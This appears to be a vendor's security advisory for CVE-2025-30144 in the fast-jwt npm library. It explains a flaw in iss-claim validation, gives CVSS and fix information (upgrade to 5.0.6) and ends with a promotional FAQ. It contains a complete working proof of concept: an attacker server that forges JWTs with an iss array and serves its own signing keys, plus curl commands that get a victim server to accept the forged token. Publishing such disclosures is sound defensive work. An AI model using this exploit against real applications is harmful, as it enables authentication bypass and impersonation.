CVE-2025-30144

The fast-jwt library does not properly validate the iss claim based on the RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.

Details

The iss (issuer) claim validation within the fast-jwt library permits an array of strings as a valid iss value. This design flaw enables a potential attack where a malicious actor crafts a JWT with an iss claim structured as ['https://attacker-domain/', 'https://valid-iss']. Due to the permissive validation, the JWT will be deemed valid.

Furthermore, if the application relies on external libraries like get-jwks that do not independently validate the iss claim, the attacker can leverage this vulnerability to forge a JWT that will be accepted by the victim application. Essentially, the attacker can insert their own domain into the iss array, alongside the legitimate issuer, and bypass the intended security checks.

PoC

Take a server running the following code:

const express = require('express')
const buildJwks = require('get-jwks')
const { createVerifier } = require('fast-jwt')

const jwks = buildJwks({ providerDiscovery: true });
const keyFetcher = async (jwt) =>
    jwks.getPublicKey({
        kid: jwt.header.kid,
        alg: jwt.header.alg,
        domain: jwt.payload.iss
    });


const jwtVerifier = createVerifier({
    key: keyFetcher,
    allowedIss: 'https://valid-iss',
});

const app = express();
const port = 3000;

app.use(express.json());


async function verifyToken(req, res, next) {
  const headerAuth = req.headers.authorization.split(' ')
  let token = '';
  if (headerAuth.length > 1) {
    token = headerAuth[1];
  }

  const payload = await jwtVerifier(token);

  req.decoded = payload;
  next();
}

// Endpoint to check if you are auth or not
app.get('/auth', verifyToken, (req, res) => {
  res.json(req.decoded);
});

app.listen(port, () => {
  console.log(`Server is running on port ${port}`);
});

Now we build a server that will be used to generate the JWT token and send the verification keys to the victim server:

const { generateKeyPairSync } = require('crypto');
const express = require('express');
const pem2jwk = require('pem2jwk');
const jwt = require('jsonwebtoken');

const app = express();
const port = 3001;
const host = `http://localhost:${port}/`;

const { publicKey, privateKey } = generateKeyPairSync("rsa", 
    {   modulusLength: 4096,
        publicKeyEncoding: { type: 'pkcs1', format: 'pem' },
        privateKeyEncoding: { type: 'pkcs1', format: 'pem' },
    },
); 
const jwk = pem2jwk(publicKey);

app.use(express.json());

// Endpoint to create token
app.post('/create-token', (req, res) => {
  const token = jwt.sign({ ...req.body, iss: [host, 'https://valid-iss'],  }, privateKey, { algorithm: 'RS256' });
  res.send(token);
});

app.get('/.well-known/jwks.json', (req, res) => {
    return res.json({
        keys: [{
            ...jwk,
            alg: 'RS256',
            use: 'sig',
        }]
    });
})

app.all('*', (req, res) => {
    return res.json({
        "issuer": host,
        "jwks_uri": host + '.well-known/jwks.json'
    });
});

app.listen(port, () => {
  console.log(`Server is running on port ${port}`);
});

export TOKEN=$(curl -X POST http://localhost:3001/create-token -H "Content-Type: application/json" -d '{"name": "test"}')
curl -X GET http://localhost:3000/auth -H "Authorization: Bearer $TOKEN"

Applications relaying on the validation of the iss claim by fast-jwt allows attackers to sign arbitrary payloads which will be accepted by the verifier.

CVE-2025-30144 has a CVSS score of 6.5 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (5.0.6); upgrading removes the vulnerable code path.

Kodem intelligence

Change https://github.com/nearform/fast-jwt/blob/d2b0ccb103848917848390f96f06acee339a7a19/src/verifier.js#L475 to a validator tha accepts only string for the value as stated in the RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.

1. What is CVE-2025-30144? CVE-2025-30144 is a medium-severity security vulnerability in fast-jwt (npm), affecting versions < 5.0.6. It is fixed in 5.0.6.
2. How severe is CVE-2025-30144? CVE-2025-30144 has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of fast-jwt are affected by CVE-2025-30144? fast-jwt (npm) versions < 5.0.6 is affected.
4. Is there a fix for CVE-2025-30144? Yes. CVE-2025-30144 is fixed in 5.0.6. Upgrade to this version or later.
5. Is CVE-2025-30144 exploitable, and should I be worried? Whether CVE-2025-30144 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2025-30144 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2025-30144? Upgrade fast-jwt to 5.0.6 or later.